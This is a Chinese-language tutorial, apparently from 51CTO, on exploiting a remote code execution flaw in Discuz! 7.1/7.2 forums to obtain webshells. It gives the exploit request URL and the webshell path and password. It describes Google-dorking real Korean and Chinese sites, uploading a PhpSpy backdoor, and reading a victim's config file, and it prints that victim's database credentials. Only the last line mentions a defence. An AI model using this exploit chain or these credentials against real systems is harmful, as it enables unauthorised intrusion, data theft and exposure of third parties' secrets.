DZ7.1 and 7.2 0遠(yuǎn)程代碼執(zhí)行漏洞獲取Webshell
原創(chuàng)【51CTO.com 獨家特稿】Crossday Discuz! Board 論壇系統(tǒng)（簡稱 Discuz! 論壇）是一個采用 PHP 和 MySQL 等其它多種數(shù)據(jù)庫構(gòu)建的高效論壇解決方案。作為商業(yè)軟件產(chǎn)品， Discuz! 在代碼質(zhì)量，運行效率，負(fù)載能力，安全等級，功能可操控性和權(quán)限嚴(yán)密性等方面有著良好的口碑。對于站長而言，利用 Discuz! 均能夠在最短的時間內(nèi)，花費最低的費用，采用最少的人力，架設(shè)一個性能優(yōu)異、功能全面、安全穩(wěn)定的社區(qū)論壇平臺。它能運行于Windows平臺和Linux平臺，目前已經(jīng)有超過100萬的用戶。在本文以前Discuz! 論壇即時有漏洞也因為種種原因難以獲取Webshell，而本次出現(xiàn)的漏洞只要是注冊用戶即可輕松獲取Webshell。在Discuz！ 7.1與7.2版本中的showmessage函數(shù)，由于eval中執(zhí)行的參數(shù)未初始化，可以任意提交，從而可以執(zhí)行任意PHP命令。該漏洞的首發(fā)是T00ls核心團隊，下面來分析下這個遠(yuǎn)程代碼執(zhí)行漏洞，這個問題真的很嚴(yán)重，可以直接寫shell。
一、漏洞來自showmessage函數(shù)
function showmessage($message, $url_forward = '', $extra = '', $forwardtype = 0) {
extract($GLOBALS, EXTR_SKIP);//危險的用法，未初始化的變量可以直接帶進函數(shù)，直接導(dǎo)致了問題產(chǎn)生，from www.oldjun.com
global $hookscriptmessage, $extrahead, $discuz_uid, $discuz_action, $debuginfo, $seccode, $seccodestatus, $fid, $tid, $charset, $show_message, $inajax, $_DCACHE, $advlist;
#p#
二、DZ的全局機制導(dǎo)致了未初始化的參數(shù)可以任意提交
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value);
}
}
#p#
三、misc.php正好有個可以自定義message的點，其實也是未初始化：
elseif($action == 'imme_binding' && $discuz_uid) {
if(isemail($id)) {
$msn = $db->result_first("SELECT msn FROM {$tablepre}memberfields WHERE uid='$discuz_uid'");
$msn = explode("\t", $msn);
$id = dhtmlspecialchars(substr($id, 0, strpos($id, '@')));
$msn = "$msn[0]\t$id";
$db->query("UPDATE {$tablepre}memberfields SET msn='$msn' WHERE uid='$discuz_uid'");
showmessage('msn_binding_succeed', 'memcp.php');
} else {
if($result == 'Declined') {
dheader("Location: memcp.php");
} else {
showmessage($response['result']);//$response沒有初始化，可以自定義，from www.oldjun.com
}
}
}
#p#
四、漏洞利用
showmessage函數(shù)里$vars = explode(':', $message);然后message可以自己控制，于是就很容易了，參數(shù)是兩個自定義的數(shù)組。注冊一個用戶登陸,然后提交misc.php?action=imme_binding&response[result]=1:2&scriptlang[1][2]={${phpinfo()}}
#p#
五、漏洞的具體應(yīng)用
1.搜索“Powered by Discuz!7.2”
在Google中進行Discuz!7.2的定位搜索，在Google輸入框中輸入“Powered by Discuz!7.2 site:kr”搜索韓國的Discuz!7.2版本的站點，如圖1所示，結(jié)果出來有3380條記錄。想搜索哪個國家的就直接在site后面進行變更，例如搜索國內(nèi)的網(wǎng)站：“site:com.cn”，政府網(wǎng)站“site:org.cn”。
圖1定位搜索Discuz!7.2版本的論壇
#p#
2.驗證并注冊論壇用戶
在圖1中從第一個往最末記錄，依次打開搜索記錄，如圖2所示，第一個記錄技能打開，而且在其中還顯示為中文，單擊注冊鏈接，注冊為開論壇的一個用戶。注冊用戶時用戶名和密碼可以隨意選取，只要不重復(fù)即可，如果不想接收網(wǎng)站的注冊信件，防止被他人利用電子郵件進行其它活動可以使用假的郵件地址，如圖3所示，總之目的只有一個那就是成為該論壇的會員，便于后期得到Webshell。
圖2 查看搜索結(jié)果
圖3 注冊用戶
#p#
3.修改exp代碼中的地址
discuz7.2 exp是由T00ls.net放出來的，呵呵，版權(quán)屬于他們哦！如圖4所示，在修改action的地址為“http://**********.co.kr/dc/misc.php”，該地址是misc.php的實際地址，修改完畢后保存即可。
圖4修改exp代碼中的地址
#p#
4.獲取TID并提交
用戶注冊成功后，在論壇中通過觀看最新帖子可以看到地址欄中包含有TID一項，例如“http://www.antian365.com/redirect.php?tid=5634&goto=lastpost#lastpost”，其中的tid為“5634”。Tid顧名思義就是帖子ID。獲取該ID后在exp中將該ID輸入后進行提交，如圖5所示。
圖5 獲取tid并將其放入exp中進行提交
技巧：
（1）在有些大的論壇中由于使用了優(yōu)化技術(shù)，因此論壇的頁面都是靜態(tài)的，在靜態(tài)的頁面中是看不到tid的，例如“http://bbs.51cto.com/thread-648810-1.html”，但當(dāng)鼠標(biāo)移動到回復(fù)按鈕處時會給出一個地址，該地址中包含有tid。
（2）Exp提交成功后會出現(xiàn)一些提示，如果給出“Binding Failed.Visit MSN IMME Q&A,Please.”提示，如圖6所示，則說明該系統(tǒng)已經(jīng)修補了漏洞或者采取了一些安全措施，無法再進行利用。
圖6 未能成功的exp
（3）一句話木馬成功與否的測試。直接在論壇地址后加上“/forumdata/cache/usergroup_01.php”進行訪問，例如某網(wǎng)站的論壇地址為：
http://www.xxx.com.hk/discuz/，則一句話后門的地址為：
http://www.xxx.com.hk/discuz/forumdata/cache/usergroup_01.php
如果訪問后未出現(xiàn)錯誤提示，那么恭喜你，成功了！
#p#
5.獲取Webshell
如圖7所示，在“l(fā)anker一句話PHP后門客戶端3.0內(nèi)部版”的后門地址中輸入剛才提交的地址“http://**********.co.kr/dc/forumdata/cache/usergroup_01.php”，密碼是“cmd”。在模塊中選擇查看服務(wù)器基本信息，如圖7所示，獲悉該系統(tǒng)為linux系統(tǒng)以及該網(wǎng)站所在的文件路徑。
圖7 一句話后門執(zhí)行成功
#p#
6.讀取數(shù)據(jù)庫連接文件
在模塊中選擇讀取文件，并輸入數(shù)據(jù)庫連接文件的地址“****/dc/config.inc.php”，如圖8所示，成功獲取該論壇數(shù)據(jù)庫的敏感信息：
$dbhost = 'localhost'; // 數(shù)據(jù)庫服務(wù)器
$dbuser = 'skycheer'; // 數(shù)據(jù)庫用戶名
$dbpw = 'sky0127'; // 數(shù)據(jù)庫密碼
$dbname = 'skycheer'; // 數(shù)據(jù)庫名
$pconnect = 0;
圖8獲取論壇數(shù)據(jù)庫連接信息
#p#
7.上傳大馬
使用一句話管理實在是不方便，在功能模塊中選擇上傳文件，使用空的路徑直接將本地的大馬上傳到一句話木馬所在的路徑，上傳成功后直接訪問，如圖9所示，成功得到我們熟悉的PhpSpy ver 2008界面。至此已經(jīng)獲取Discuz！7.2版本的Webshell，大家都知道Discuz！論壇的Webshell很難拿到，因此本漏洞的珍稀程度可想而知。
圖9 上傳大馬
#p#
8.后記
Discuz！7.1&7.2遠(yuǎn)程溢出漏洞出來后，國內(nèi)有關(guān)Discuz！的大中小論壇基本沒有什么幸免，安全做的好的去掉了cache的執(zhí)行權(quán)限，將其權(quán)限設(shè)置為無，逃過劫難。
【編輯推薦】
